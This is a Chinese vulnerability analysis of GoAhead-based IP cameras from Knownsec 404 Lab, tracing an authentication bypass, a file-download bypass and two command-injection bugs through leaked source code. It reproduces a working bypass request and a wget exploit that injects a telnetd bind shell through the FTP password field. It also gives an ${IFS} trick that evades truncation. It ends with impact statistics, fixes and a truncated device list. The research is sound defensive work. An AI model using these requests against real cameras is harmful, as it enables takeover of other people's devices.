1. 程式人生 > 其它 >抓住“新程式碼”的影子 —— 基於GoAhead系列網路攝像頭多個漏洞分析

抓住“新程式碼”的影子 —— 基於GoAhead系列網路攝像頭多個漏洞分析

Author:知道創宇404實驗室

Date:2017/03/19

PDF 版本下載:抓住“新程式碼”的影子 —— 基於GoAhead系列網路攝像頭多個漏洞分析

一.漏洞背景

GoAhead作為世界上最受歡迎的嵌入式Web伺服器被部署在數億臺裝置中,是各種嵌入式裝置與應用的理想選擇。當然,各廠商也會根據不同產品需求對其進行一定程度的二次開發。

2017年3月7日,Seebug漏洞平臺收錄了一篇基於GoAhead系列攝像頭的多個漏洞。該漏洞為Pierre Kim在部落格上發表的一篇文章,披露了存在於1250多個攝像頭型號的多個通用型漏洞。其在文章中將其中一個驗證繞過漏洞歸類為GoAhead伺服器的漏洞,但事後證明,該漏洞卻是由廠商二次開發GoAhead伺服器產生的。於此同時,Pierre Kim將其中兩個漏洞組合使用,成功獲取了攝像頭的最高許可權。

二.漏洞分析

當我們開始著手分析這些漏洞時發現GoAhead官方原始碼不存在該漏洞,解開的更新韌體無法找到對應程式,一系列困難接踵而至。好在根據該漏洞特殊變數名稱loginuse和loginpas,我們在github上找到一個上個月還在修改的門鈴專案。抓著這個“新程式碼”的影子,我們不僅分析出了漏洞原理,還通過分析結果找到了漏洞新的利用方式。

由於該專案依賴的一些外部環境導致無法正常編譯,我們僅僅通過靜態程式碼分析得出結論,因此難免有所疏漏。如有錯誤,歡迎指正。:)

1.驗證繞過導致的資訊(登入憑據)洩漏漏洞

作者給出POC: curl http://ip:port/system.ini?loginuse&loginpas

根據作者給出的POC,我們進行了如下測試:

可以看出,只要url中含有loginuseloginpas這兩個值即無需驗證。甚至當這兩個值對應的賬號密碼為空或者為錯誤的zzzzzzzzzzzzzz時均可通過驗證。

看到這裡,我們大致可以判斷出驗證loginuseloginpas的邏輯問題導致該漏洞的出現。於是,在此門鈴專案中直接搜尋loginuse定位到關鍵函式。

/func/ieparam.c6407-6485AdjustUserPri函式如下:

unsigned char AdjustUserPri( char* url )
{
    int		iRet;
    int		iRet1;
    unsigned char 	byPri = 0;
    char    	loginuse[32];
    char    	loginpas[32];
    char		decoderbuf[128];
    char		temp2[128];
    memset( loginuse, 0x00, 32 );
    memset( loginpas, 0x00, 32 );
    memset( temp2, 0x00, 128 );
    iRet = GetStrParamValue( url, "loginuse", temp2, 31 );
//判斷是否存在loginuse值,並將獲取到的值賦給temp2
    if ( iRet == 0x00 )
    {
        memset( decoderbuf, 0x00, 128 );
        URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );
        memset( loginuse, 0x00, 31 );
        strcpy( loginuse, decoderbuf );
    }
//如果存在,則將temp2複製到loginuse陣列中
    memset( temp2, 0x00, 128 );
    iRet1 = GetStrParamValue( url, "loginpas", temp2, 31 );
//判斷是否存在loginpas值,並將獲取到的值賦給temp2
    if ( iRet1 == 0x00 )
    {
        memset( decoderbuf, 0x00, 128 );
        URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );
        memset( loginpas, 0x00, 31 );
        strcpy( loginpas, decoderbuf );
    }
//如果存在,則將temp2複製到loginpas陣列中
    if ( iRet == 0 )
    {
        if ( iRet1 == 0x00 )
        {
            //printf("user %s pwd:%sn",loginuse,loginpas);
            byPri = GetUserPri( loginuse, loginpas );
//如果兩次都獲取到了對應的值,則通過GetUserPri進行驗證。
            return byPri;
        }
    }

    memset( loginuse, 0x00, 32 );
    memset( loginpas, 0x00, 32 );
    memset( temp2, 0x00, 128 );
    iRet = GetStrParamValue( url, "user", temp2, 31 );

    if ( iRet == 0x00 )
    {
        memset( decoderbuf, 0x00, 128 );
        URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );
        memset( loginuse, 0x00, 31 );
        strcpy( loginuse, decoderbuf );
    }

    memset( temp2, 0x00, 128 );
    iRet1 = GetStrParamValue( url, "pwd", temp2, 31 );

    if ( iRet1 == 0x00 )
    {
        memset( decoderbuf, 0x00, 128 );
        URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );
        memset( loginpas, 0x00, 31 );
        strcpy( loginpas, decoderbuf );
    }

    if ( iRet == 0 )
    {
        if ( iRet1 == 0x00 )
        {
            //printf("user %s pwd:%sn",loginuse,loginpas);
            byPri = GetUserPri( loginuse, loginpas );
            return byPri;
        }
    }
//獲取user和pwd引數,邏輯結構與上方的loginuse和loginpas相同。
    return byPri;
}

我們對其中步驟做了註釋,根據這段邏輯,我們先通過GetStrParamValue()獲取loginuseloginpas對應值,然後將獲取值通過GetUserPri()函式進行驗證。跟進GetStrParamValue()這個函式,我們發現了更奇怪的事情。

command/cmd_thread.c中第13-51GetStrParamValue()函式如下:

//結合上面程式碼中的iRet = GetStrParamValue( url, "loginuse", temp2, 31 );審視這段程式碼
int GetStrParamValue( const char* pszSrc, const char* pszParamName, char* pszParamValue )
{
    const char* pos1, *pos = pszSrc;
    unsigned char       len = 0;

    if ( !pszSrc || !pszParamName )
    {
        return -1;
    }
//判斷url和需要查詢的變數loginuse是否存在

    pos1 = strstr( pos, pszParamName );

    if ( !pos1 )
    {
        return -1;
    }
//由於url中含有loginuse,所以這裡pos1可以取到對應的值,故不進入if(!pos1)

    pos = pos1 + strlen( pszParamName ) + 1;
    pos1 = strstr( pos, "&" );

    if ( pos1 )
    {
        memcpy( pszParamValue, pos, pos1 - pos );
//根據正常情況loginuse=admin&loginpas=xxx,這一段程式碼的邏輯是從loginuse後一位也就是等於號開始取值直到&號作為loginuse對應的值。
//根據作者的POC:loginuse&loginpas,最終這裡pos應該位於pos1後一位,所以pos1-pos = -1
//memcpy( pszParamValue, pos, -1 );無法執行成功。
        len = pos1 - pos;
    }

    else
    {
        pos1 = strstr( pos, " " );

        if ( pos1 != NULL )
        {
            memcpy( pszParamValue, pos, pos1 - pos );
            len = pos1 - pos;
        }
    }
    return 0;
//不論上述到底如何取值,最終都可以返回0
}

根據作者給出的POC,在memcpy()函式處會導致崩潰,但事實上,我們的web伺服器正常執行並返回system.ini具體內容。這一點令我們百思不得其解。當我們對AdjustUserPri()函式向上溯源時終於弄清楚是上層程式碼問題導致程式碼根本無法執行到這裡,所以也不會導致崩潰。

func/ieparam.c檔案第7514-7543行呼叫了AdjustUserPri()函式:

if ( auth == 0x00 )
{
	char temp[512];
	int  wlen = 0;

	if ( len )
	{
		return 0;
	}

	#if 0
	byPri = AdjustUserPri( url );

	printf("url:%s byPri %dn",url,byPri);
	if ( byPri == 0x00 )
	{
		memset( temp, 0x00, 512 );
		wlen += sprintf( temp + wlen, "var result="Auth Failed";rn" );
		memcpy( pbuf, temp, wlen );
		return wlen;
	}
	#else
	byPri = 255;
	#endif
}

else
{
	byPri = pri;
}

在之前跟GetUserPri()函式時有一行註釋://result:0->error user or passwd error 1->vistor 2->opration 255->admin。當我們回頭再看這段函式時,可以發現開發者直接將驗證部分註釋掉,byPri被直接賦值為255,這就意味著只要進入這段邏輯,使用者許可權就直接是管理員了。這裡已經可以解釋本小節開篇進行的測試了,也就是為什麼我們輸入空的使用者名稱和密碼或者錯誤的使用者名稱和密碼也可以通過驗證。

很遺憾,我們沒有繼續向上溯源找到這裡的auth這個值到底是如何而來。不過根據這裡的程式碼邏輯,我們可以猜測,當auth0時,通過GET請求中的引數驗證使用者名稱密碼。當auth不為0時,通過HTTP摘要驗證方式來驗證使用者名稱密碼。

再看一遍上方程式碼,GET請求中含有引數loginuseloginpas就直接可以通過驗證。那麼AdjustUserPri()函式中另外兩個具有相同邏輯的引數userpwd呢?

成功抓住"新程式碼"的影子

2.遠端命令執行漏洞一(需登入)

作者給出的exp如下:

user@kali$ wget -qO- 'http://192.168.1.107/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.1.1&port=21&user=ftp&pwd=$(telnetd -p25 -l/bin/sh)&dir=/&mode=PORT&upload_interval=0'
user@kali$ wget -qO- 'http://192.168.1.107/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=admin'

可以看到,該exp分為兩步,第一步先設定ftp各種引數,第二步按照第一步設定的各引數測試ftp連結,同時導致我們在第一步設定的命令被執行。

我們在func/ieparam.c檔案中找到了set_ftp.cgiftptest.cgi的呼叫過程

383:    pdst = strstr( pcmd, "ftptest.cgi" );
384:
385:    if ( pdst != NULL )
386:    {
387:        return CGI_IESET_FTPTEST;
388:    }

455:    pdst = strstr( pcmd, "set_ftp.cgi" );
456:
457:    if ( pdst != NULL )
458:    {
459:        return CGI_IESET_FTP;
460:    }

7658:   case CGI_IESET_FTPTEST:
7659:       if ( len == 0x00 )
7660:       {
7661:           iRet = cgisetftptest( pbuf, pparam, byPri );
7662:       }

7756:   case CGI_IESET_FTP:
7757:       if ( len == 0x00 )
7758:       {
7759:           iRet = cgisetftp( pbuf, pparam, byPri );
7760:           NoteSaveSem();
7761:       }

首先跟蹤cgisetftp( pbuf, pparam, byPri );這個函式,我們發現,該函式僅僅是獲取到我們請求的引數並將引數賦值給結構體中的各個變數。關鍵程式碼如下:

//這部分程式碼可以不做細看,下一步我們進行ftp測試連線的時候對照該部分尋找對應的值就可以了。
	iRet = GetStrParamValue( pparam, "svr", temp2, 63 );
	URLDecode( temp2, strlen( temp2 ), decoderbuf, 63 );
	strcpy( bparam.stFtpParam.szFtpSvr, decoderbuf );

    GetIntParamValue( pparam, "port", &iValue );
    bparam.stFtpParam.nFtpPort = iValue;
	
    iRet = GetStrParamValue( pparam, "user", temp2, 31 );
	URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 );
	strcpy( bparam.stFtpParam.szFtpUser, decoderbuf );

    memset( temp2, 0x00, 64 );
    iRet = GetStrParamValue( pparam, "pwd", temp2, 31 );
	URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 );
	strcpy( bparam.stFtpParam.szFtpPwd, decoderbuf );
//我們構造的命名被賦值給了引數bparam.stFtpParam.szFtpPwd
    iRet = GetStrParamValue( pparam, "dir", temp2, 31 );
	URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 );
	strcpy( bparam.stFtpParam.szFtpDir, decoderbuf );
	if(decoderbuf[0] == 0)
	{
		strcpy(bparam.stFtpParam.szFtpDir, "/" );
	}

    GetIntParamValue( pparam, "mode", &iValue );
    bparam.stFtpParam.byMode = iValue;
    GetIntParamValue( pparam, "upload_interval", &iValue );
    bparam.stFtpParam.nInterTime = iValue;
	
    iRet = GetStrParamValue( pparam, "filename", temp1, 63 );
	URLDecode( temp2, strlen( temp2 ), decoderbuf, 63 );
	strcpy( bparam.stFtpParam.szFileName, decoderbuf );

綜上所述,set_ftp.cgi僅僅是將我們請求的各引數寫入全域性變數中。

接下來是ftptest.cgi部分,也就是呼叫了iRet = cgisetftptest( pbuf, pparam, byPri );這個函式。在該函式中,最為關鍵的函式為DoFtpTest();。直接跳到func/ftp.c檔案中找到函式DoFtpTest()

int DoFtpTest( void )
{
    int     iRet = 0;
    iRet = FtpConfig( 0x01, NULL );

    if ( iRet == 0 )
    {
        char cmd[128];
        memset(cmd, 0, 128);
        sprintf(cmd, "/tmp/ftpupdate1.sh > %s", FILE_FTP_TEST_RESULT);
        iRet = DoSystem(cmd);
        //iRet = DoSystem( "/tmp/ftpupdate1.sh > /tmp/ftpret.txt" );
    }

    return iRet;
}

可以看到,執行 FtpConfig()函式後運行了/tmp/ftpupdate1.sh。先讓我們看看 FtpConfig()函式如何

處理該問題:

int FtpConfig( char test, char* filename )
{
......
    fp = fopen( "/tmp/ftpupdate1.sh", "wb" );

    memset( cmd, 0x00, 128 );
    sprintf( cmd, "/system/system/bin/ftp -n<<!n" );
    fwrite( cmd, 1, strlen( cmd ), fp );
    memset( cmd, 0x00, 128 );
    sprintf( cmd, "open %s %dn", bparam.stFtpParam.szFtpSvr, bparam.stFtpParam.nFtpPort );
    fwrite( cmd, 1, strlen( cmd ), fp );
    memset( cmd, 0x00, 128 );
    sprintf( cmd, "user %s %sn", bparam.stFtpParam.szFtpUser, bparam.stFtpParam.szFtpPwd );
    fwrite( cmd, 1, strlen( cmd ), fp );
    memset( cmd, 0x00, 128 );
    sprintf( cmd, "binaryn" );
    fwrite( cmd, 1, strlen( cmd ), fp );

    if ( bparam.stFtpParam.byMode == 1 ) 	//passive
    {
        memset( cmd, 0x00, 128 );
        sprintf( cmd, "passn" );
        fwrite( cmd, 1, strlen( cmd ), fp );
    }
#ifdef CUSTOM_DIR

	char sub_temp[ 128 ];
	memset(sub_temp, 0, 128);
	//strcpy(sub_temp, bparam.stFtpParam.szFtpDir);
	sprintf(sub_temp, "%s/%s", bparam.stFtpParam.szFtpDir,bparam.stIEBaseParam.dwDeviceID); 

    flag = sub_dir(fp,sub_temp);
	if(flag){
		memset( cmd, 0x00, 128 );
    	sprintf( cmd, "cd %sn", bparam.stFtpParam.szFtpDir );
    	fwrite( cmd, 1, strlen( cmd ), fp );
	}
#else
	memset( cmd, 0x00, 128 );
    sprintf( cmd, "cd %sn", bparam.stFtpParam.szFtpDir );
    fwrite( cmd, 1, strlen( cmd ), fp );

#endif
    memset( cmd, 0x00, 128 );
    sprintf( cmd, "lcd /tmpn" );
    fwrite( cmd, 1, strlen( cmd ), fp );

    if ( test == 0x01 )
    {
        FtpFileTest();
        memset( cmd, 0x00, 128 );
        sprintf( cmd, "put ftptest.txtn" );
        fwrite( cmd, 1, strlen( cmd ), fp );
    }

    else
    {
        char    filename1[128];
        memset( filename1, 0x00, 128 );
        memcpy( filename1, filename + 5, strlen( filename ) - 5 );
        memset( cmd, 0x00, 128 );
        sprintf( cmd, "put %sn", filename1 );
        fwrite( cmd, 1, strlen( cmd ), fp );
    }

    memset( cmd, 0x00, 128 );
    sprintf( cmd, "closen" );
    fwrite( cmd, 1, strlen( cmd ), fp );
    memset( cmd, 0x00, 128 );
    sprintf( cmd, "byen" );
    fwrite( cmd, 1, strlen( cmd ), fp );
    memset( cmd, 0x00, 128 );
    sprintf( cmd, "!n" );
    fwrite( cmd, 1, strlen( cmd ), fp );
    fclose( fp );
    iRet = access( "/tmp/ftpupdate1.sh", X_OK );

    if ( iRet )
    {
        DoSystem( "chmod a+x /tmp/ftpupdate1.sh" );
    }

    return 0;
}

至此,邏輯很清晰了。在FtpConfig()函式中,將我們之前在設定的時候輸入的各個值寫入了/tmp/ftpupdate1.sh中,然後在DoFtpTest()中執行該指令碼,導致最後的命令執行。這一點,同樣可以在漏洞作者原文中得到證明:

作者原文中展示的/tmp/ftpupload.sh:
/ # cat /tmp/ftpupload.sh 
/bin/ftp -n<<!
open 192.168.1.1 21
user ftp $(telnetd -l /bin/sh -p 25)ftp
binary
lcd /tmp
put ftptest.txt
close
bye
!
/ #

實際測試中,我們發現:如果直接用作者給出的exp去嘗試RCE往往是不能成功的。從http://ip:port/get_params.cgi?user=username&pwd=password可以發現,我們注入的命令在空格處被截斷了。

於是我們用${IFS}替換空格(還可以採用+代替空格):

但是由於有長度限制再次被截斷,調整長度,最終成功執行命令:

成功抓住新程式碼的影子

3.GoAhead繞過驗證檔案下載漏洞

2017年3月9日,Pierre Kim在文章中增加了兩個連結,描述了一個GoAhead 2.1.8版本之前的任意檔案下載漏洞。攻擊者通過使用該漏洞,再結合一個新的遠端命令執行漏洞可以再次獲取攝像頭的最高許可權。有意思的是,這個漏洞早在2004年就已被提出併成功修復(http://aluigi.altervista.org/adv/goahead-adv2.txt)。但是由於眾多攝像頭仍然使用存在該漏洞的老程式碼,該漏洞仍然可以在眾多攝像頭裝置復現。

我們也查找了此門鈴專案中的GoAhead伺服器版本。web/release.txt前三行內容如下:

=====================================
GoAhead WebServer 2.1.8 Release Notes
=====================================

再仔細檢視websUrlHandlerRequest()內容,發現並未對該漏洞進行修復,說明該漏洞也影響這個門鈴專案。以此類推,本次受影響的攝像頭應該也存在這個漏洞,果不其然:

那麼,具體的漏洞成因又是如何呢?讓我們來跟進./web/LINUX/main.c瞭解該漏洞的成因:

initWebs()函式中,關鍵程式碼如下:

154:   umOpen();

157:   umAddGroup( T( "adm" ), 0x07, AM_DIGEST, FALSE, FALSE );

159:   umAddUser( admu, admp, T( "adm" ), FALSE, FALSE );
160:   umAddUser( "admin0", "admin0", T( "adm" ), FALSE, FALSE );
161:   umAddUser( "admin1", "admin1", T( "adm" ), FALSE, FALSE );
162:   umAddAccessLimit( T( "/" ), AM_DIGEST, FALSE, T( "adm" ) );

224:   websUrlHandlerDefine( T( "" ), NULL, 0, websSecurityHandler, WEBS_HANDLER_FIRST );
227:   websUrlHandlerDefine( T( "" ), NULL, 0, websDefaultHandler,WEBS_HANDLER_LAST );

其中,150-160um開頭的函式為使用者許可權控制的相關函式。主要做了以下四件事情:

  1. umOpen() 開啟使用者許可權控制
  2. umAddGroup() 增加使用者組adm,並設定該使用者組使用者使用HTTP摘要認證方式登入
  3. umAddUser() 增加使用者admin,admin0,admin1,並且這三個使用者均屬於adm使用者組
  4. umAddAccessLimit() 增加限制路徑/,凡是以/開頭的路徑都要通過HTTP摘要認證的方式登入屬於adm組的使用者。

緊接著,在220多行通過websUrlHandlerDefine()函式運行了兩個HandlerwebsSecurityHandlerwebsDefaultHandler。在websSecurityHandler中,對HTTP摘要認證方式進行處理。關鍵程式碼如下:

86:           accessLimit = umGetAccessLimit( path );

115:         am = umGetAccessMethodForURL( accessLimit );
116:         nRet = 0;

118-242:  if ( ( flags & WEBS_LOCAL_REQUEST ) && ( debugSecurity == 0 ) ){……}

245:         return nRet;

第86行,umGetAccessLimit()函式用於將我們請求的路徑規範化,主要邏輯就是去除路徑最後的/或者\,確保我們請求的是一個檔案。umGetAccessMethodForURL()函式用於獲取我們請求的路徑對應的許可權。這裡,我們請求的路徑是system.ini,根據上文,我們的設定是對/路徑需要進行HTTP摘要認證,由於程式判斷system.ini不屬於/路徑,所以這裡am為預設的AM_INVALID,即無需驗證。

緊接著向下,nRet初始化賦值為0.在118-242行中,如果出現了賬號密碼錯誤等情況,則會將nRet賦值為1,表示驗證不通過。但是由於我們請求的路徑無需驗證,所以判斷結束時nRet仍為0。因此,順利通過驗證,獲取到對應的檔案內容。

就這樣,我們再次抓住了這個”新程式碼”的影子,雖然這個2004年的漏洞讓我們不得不為新程式碼這三個字加上了雙引號。

4.遠端命令執行漏洞二(需登入)

在Pierre Kim新增的兩個連結中,還介紹了一種新的遠端命令執行的方式。即通過set_mail.cgimailtest.cgi來執行命令。

與上一個遠端命令執行漏洞一樣,我們先在func/ieparam.c檔案中找到set_mail.cgimailtest.cgi的呼叫過程

257:    pdst = strstr( pcmd, "set_mail.cgi" );
258:
259:    if ( pdst != NULL )
260:    {
261:        return CGI_IESET_MAIL;
262:    }
	
348:    pdst = strstr( pcmd, "mailtest.cgi" );
349:
350:    if ( pdst != NULL )
351:    {
352:        return CGI_IESET_MAILTEST;
353:}

7674:	case CGI_IESET_MAILTEST:
7675:		if ( len == 0x00 )
7676:		{
7677:			iRet = cgisetmailtest( pbuf, pparam, byPri );
7678:		}
7679:
7680:		break;

7746:	case CGI_IESET_MAIL:
7747:		if ( len == 0x00 )
7748:		{
7749:			iRet = cgisetmail( pbuf, pparam, byPri );
7750:			IETextout( "-------------OK--------" );
7751:			NoteSaveSem();
7752:		}
7753:
7754:		break;

跟上一個遠端命令執行漏洞類似,cgisetmail()函式用於將各引數儲存到結構體,例如sender引數賦值給bparam.stMailParam.szSenderreceiver1引數賦值給bparam.stMailParam.szReceiver1

接著,來到了cgisetmailtest()函式:

int cgisetmailtest( unsigned char* pbuf, char* pparam, unsigned char byPri )
{
    unsigned char   temp[2048];
    int             len = 0;
    int             result = 0;
    char            nexturl[64];
    int		iRet = 0;
    memset( temp, 0x00, 2048 );

    //iRet = DoMailTest();
    if(iRet == 0)
    {
        IETextout("Mail send over, OK or Not");
    }
    /* END:   Added by Baggio.wu, 2013/10/25 */

    memset( nexturl, 0x00, 64 );
    iRet = GetStrParamValue( pparam, "next_url", nexturl, 63 );

    if ( iRet == 0x00 )
    {
#if 1
        len += RefreshUrl( temp + len, nexturl );
#endif
        memcpy( pbuf, temp, len );
    }

    else
    {
        len += sprintf( temp + len, "var result="ok";rn" );
        memcpy( pbuf, temp, len );
    }

    printf( "sendmail len:%dn", len );
    return len;
}

該函式第十行已被註釋掉。這是使用此函式傳送郵件證據的唯一可尋之處。雖然被註釋掉了,我們也要繼續跟蹤DoMailTest()這個函式:

int DoMailTest( void ) 	//email test
{
    int     iRet = -1;
    char    cmd[256];

    if ( bparam.stMailParam.szSender[0] == 0 )
    {
        return -1;
    }

    if ( bparam.stMailParam.szReceiver1[0] != 0x00 )
    {
        iRet = EmailConfig();

        if ( iRet )
        {
            return -1;
        }

        memset( cmd, 0x00, 256 );

        /* BEGIN: Modified by Baggio.wu, 2013/9/9 */
        sprintf( cmd, "echo "mail test ok" | /system/system/bin/mailx -r %s -s "mail test"  %s",
                 bparam.stMailParam.szSender, bparam.stMailParam.szReceiver1 );
        //sprintf( cmd, "echo "mail test ok" | /system/system/bin/mailx -v -s "mail test"  %s",
        //         bparam.stMailParam.szReceiver1 );

        printf( "start cmd:%sn", cmd );
        EmailWrite( cmd, strlen( cmd ) );
        //emailtest();
        printf( "cmd:%sn", cmd );

    }

    return iRet;
}

可以看到sprintf( cmd, "echo "mail test ok" | /system/system/bin/mailx -r %s -s "mail test" %s",bparam.stMailParam.szSender, bparam.stMailParam.szReceiver1 );發件人和收件人都直接被拼接成命令導致最後的命令執行。

三.漏洞影響範圍

ZoomEye網路空間探測引擎探測結果顯示,全球範圍內共查詢到78萬條歷史記錄。我們根據這78萬條結果再次進行探測,發現這些裝置一共存在三種情況:

  • 第一種是裝置不存在漏洞。
  • 第二種是裝置存在驗證繞過漏洞,但是由於web目錄下沒有system.ini,導致最終無法被利用。 可以看到,當我們直接請求system.ini的時候,顯示需要認證,但是當我們繞過驗證之後,卻顯示404 not found
  • 最後一種是裝置既存在驗證繞過漏洞,又存在system.ini檔案。這些裝置就存在被入侵的風險。

我們統計了最後一種裝置的數量,資料顯示有近7萬的裝置存在被入侵的風險。這7萬裝置的國家分佈圖如下:

可以看出,美國、中國、韓國、法國、日本屬於重災區。我國一共有 7000 多臺裝置可能被入侵,其中近 6000 臺位於中國香港。我們根據具體資料做成兩張柱狀圖以便檢視:

(注:None為屬於中國,但未解析出具體地址的IP)

我們通過查詢ZoomEye網路空間探測引擎歷史記錄,匯出2016年1月1日,2017年1月1日和本報告編寫時2017年3月14日三個時間點的資料進行分析。

在這三個時間點,我們分別收錄了banner中含有GoAhead 5ccc069c403ebaf9f0171e9517f40e41的裝置26萬臺、65萬臺和78萬臺。

但是這些ip中,存在漏洞的裝置增長趨勢卻完全不同。

可以看到,2016年1月1日已探明的裝置中目前僅有2000多臺存在漏洞,2017年1月1日之前探明的裝置中有近3萬臺存在漏洞,僅僅兩個多月後的今天,已有近7萬臺裝置存在漏洞。

根據以上資料,我們可以做出如下判斷:該漏洞出現時間大約是去年,直到今年被曝光之後才被大家所關注。在此期間,舊攝像頭通過更新有漏洞韌體的方式導致了該漏洞的出現,而那些新生產的攝像頭則被銷售到世界各地。根據今年新增的ip的地理位置,我們可以大致判斷出這些存在漏洞的攝像頭今年被銷往何地。

根據資料,我們可以看到,主要銷售到了美國、中國、韓國、日本。中國新增了5316臺存在漏洞的攝像頭,其中4000多臺位於中國香港。

四.修復方案

1.將存在漏洞的攝像頭裝置放置於內網。

2.及時升級到最新韌體。

3.對於可能被感染的裝置,可以採取重啟的方式來殺死駐留在記憶體裡的惡意程序。

五.參考連結

  1. https://www.seebug.org/vuldb/ssvid-92789
  2. https://www.seebug.org/vuldb/ssvid-92748
  3. https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html
  4. https://github.com/kuangxingyiqing/bell-jpg
  5. http://aluigi.altervista.org/adv/goahead-adv2.txt

#附表1:Pierre Kim給出的受影響裝置列表:

<table class="table table-striped-white table-bordered">
<thead>
<tr>
 <th>列表如下:</th>
</tr>
</thead>
<tbody><tr>
 <td>3G+IPCam Other</td>
</tr>
<tr>
 <td>3SVISION Other</td>
</tr>
<tr>
 <td>3com CASA</td>
</tr>
<tr>
 <td>3com Other</td>
</tr>
<tr>
 <td>3xLogic Other</td>
</tr>
<tr>
 <td>3xLogic Radio</td>
</tr>
<tr>
 <td>4UCAM Other</td>
</tr>
<tr>
 <td>4XEM Other</td>
</tr>
<tr>
 <td>555 Other</td>
</tr>
<tr>
 <td>7Links 3677</td>
</tr>
<tr>
 <td>7Links 3677-675</td>
</tr>
<tr>
 <td>7Links 3720-675</td>
</tr>
<tr>
 <td>7Links 3720-919</td>
</tr>
<tr>
 <td>7Links IP-Cam-in</td>
</tr>
<tr>
 <td>7Links IP-Wi-Fi</td>
</tr>
<tr>
 <td>7Links IPC-760HD</td>
</tr>
<tr>
 <td>7Links IPC-770HD</td>
</tr>
<tr>
 <td>7Links Incam</td>
</tr>
<tr>
 <td>7Links Other</td>
</tr>
<tr>
 <td>7Links PX-3615-675</td>
</tr>
<tr>
 <td>7Links PX-3671-675</td>
</tr>
<tr>
 <td>7Links PX-3720-675</td>
</tr>
<tr>
 <td>7Links PX3309</td>
</tr>
<tr>
 <td>7Links PX3615</td>
</tr>
<tr>
 <td>7Links ipc-720</td>
</tr>
<tr>
 <td>7Links px-3675</td>
</tr>
<tr>
 <td>7Links px-3719-675</td>
</tr>
<tr>
 <td>7Links px-3720-675</td>
</tr>
<tr>
 <td>A4Tech Other</td>
</tr>
<tr>
 <td>ABS Other</td>
</tr>
<tr>
 <td>ADT RC8021W</td>
</tr>
<tr>
 <td>AGUILERA AQUILERA</td>
</tr>
<tr>
 <td>AJT AJT-019129-BBCEF</td>
</tr>
<tr>
 <td>ALinking ALC</td>
</tr>
<tr>
 <td>ALinking Other</td>
</tr>
<tr>
 <td>ALinking dax</td>
</tr>
<tr>
 <td>AMC Other</td>
</tr>
<tr>
 <td>ANRAN ip180</td>
</tr>
<tr>
 <td>APKLINK Other</td>
</tr>
<tr>
 <td>AQUILA AV-IPE03</td>
</tr>
<tr>
 <td>AQUILA AV-IPE04</td>
</tr>
<tr>
 <td>AVACOM 5060</td>
</tr>
<tr>
 <td>AVACOM 5980</td>
</tr>
<tr>
 <td>AVACOM H5060W</td>
</tr>
<tr>
 <td>AVACOM NEW</td>
</tr>
<tr>
 <td>AVACOM Other</td>
</tr>
<tr>
 <td>AVACOM h5060w</td>
</tr>
<tr>
 <td>AVACOM h5080w</td>
</tr>
<tr>
 <td>Acromedia IN-010</td>
</tr>
<tr>
 <td>Acromedia Other</td>
</tr>
<tr>
 <td>Advance Other</td>
</tr>
<tr>
 <td>Advanced+home lc-1140</td>
</tr>
<tr>
 <td>Aeoss J6358</td>
</tr>
<tr>
 <td>Aetos 400w</td>
</tr>
<tr>
 <td>Agasio A500W</td>
</tr>
<tr>
 <td>Agasio A502W</td>
</tr>
<tr>
 <td>Agasio A512</td>
</tr>
<tr>
 <td>Agasio A533W</td>
</tr>
<tr>
 <td>Agasio A602W</td>
</tr>
<tr>
 <td>Agasio A603W</td>
</tr>
<tr>
 <td>Agasio Other</td>
</tr>
<tr>
 <td>AirLink Other</td>
</tr>
<tr>
 <td>Airmobi HSC321</td>
</tr>
<tr>
 <td>Airsight Other</td>
</tr>
<tr>
 <td>Airsight X10</td>
</tr>
<tr>
 <td>Airsight X34A</td>
</tr>
<tr>
 <td>Airsight X36A</td>
</tr>
<tr>
 <td>Airsight XC39A</td>
</tr>
<tr>
 <td>Airsight XX34A</td>
</tr>
<tr>
 <td>Airsight XX36A</td>
</tr>
<tr>
 <td>Airsight XX40A</td>
</tr>
<tr>
 <td>Airsight XX60A</td>
</tr>
<tr>
 <td>Airsight x10</td>
</tr>
<tr>
 <td>Airsight x10Airsight</td>
</tr>
<tr>
 <td>Airsight xc36a</td>
</tr>
<tr>
 <td>Airsight xc49a</td>
</tr>
<tr>
 <td>Airsight xx39A</td>
</tr>
<tr>
 <td>Airsight xx40a</td>
</tr>
<tr>
 <td>Airsight xx49a</td>
</tr>
<tr>
 <td>Airsight xx51A</td>
</tr>
<tr>
 <td>Airsight xx51a</td>
</tr>
<tr>
 <td>Airsight xx52a</td>
</tr>
<tr>
 <td>Airsight xx59a</td>
</tr>
<tr>
 <td>Airsight xx60a</td>
</tr>
<tr>
 <td>Akai AK7400</td>
</tr>
<tr>
 <td>Akai SP-T03WP</td>
</tr>
<tr>
 <td>Alecto 150</td>
</tr>
<tr>
 <td>Alecto Atheros</td>
</tr>
<tr>
 <td>Alecto DVC-125IP</td>
</tr>
<tr>
 <td>Alecto DVC-150-IP</td>
</tr>
<tr>
 <td>Alecto DVC-1601</td>
</tr>
<tr>
 <td>Alecto DVC-215IP</td>
</tr>
<tr>
 <td>Alecto DVC-255-IP</td>
</tr>
<tr>
 <td>Alecto dv150</td>
</tr>
<tr>
 <td>Alecto dvc-150ip</td>
</tr>
<tr>
 <td>Alfa 0002HD</td>
</tr>
<tr>
 <td>Alfa Other</td>
</tr>
<tr>
 <td>Allnet 2213</td>
</tr>
<tr>
 <td>Allnet ALL2212</td>
</tr>
<tr>
 <td>Allnet ALL2213</td>
</tr>
<tr>
 <td>Amovision Other</td>
</tr>
<tr>
 <td>Android+IP+cam IPwebcam</td>
</tr>
<tr>
 <td>Anjiel ip-sd-sh13d</td>
</tr>
<tr>
 <td>Apexis AH9063CW</td>
</tr>
<tr>
 <td>Apexis APM-H803-WS</td>
</tr>
<tr>
 <td>Apexis APM-H804-WS</td>
</tr>
<tr>
 <td>Apexis APM-J011</td>
</tr>
<tr>
 <td>Apexis APM-J011-Richard</td>
</tr>
<tr>
 <td>Apexis APM-J011-WS</td>
</tr>
<tr>
 <td>Apexis APM-J012</td>
</tr>
<tr>
 <td>Apexis APM-J012-WS</td>
</tr>
<tr>
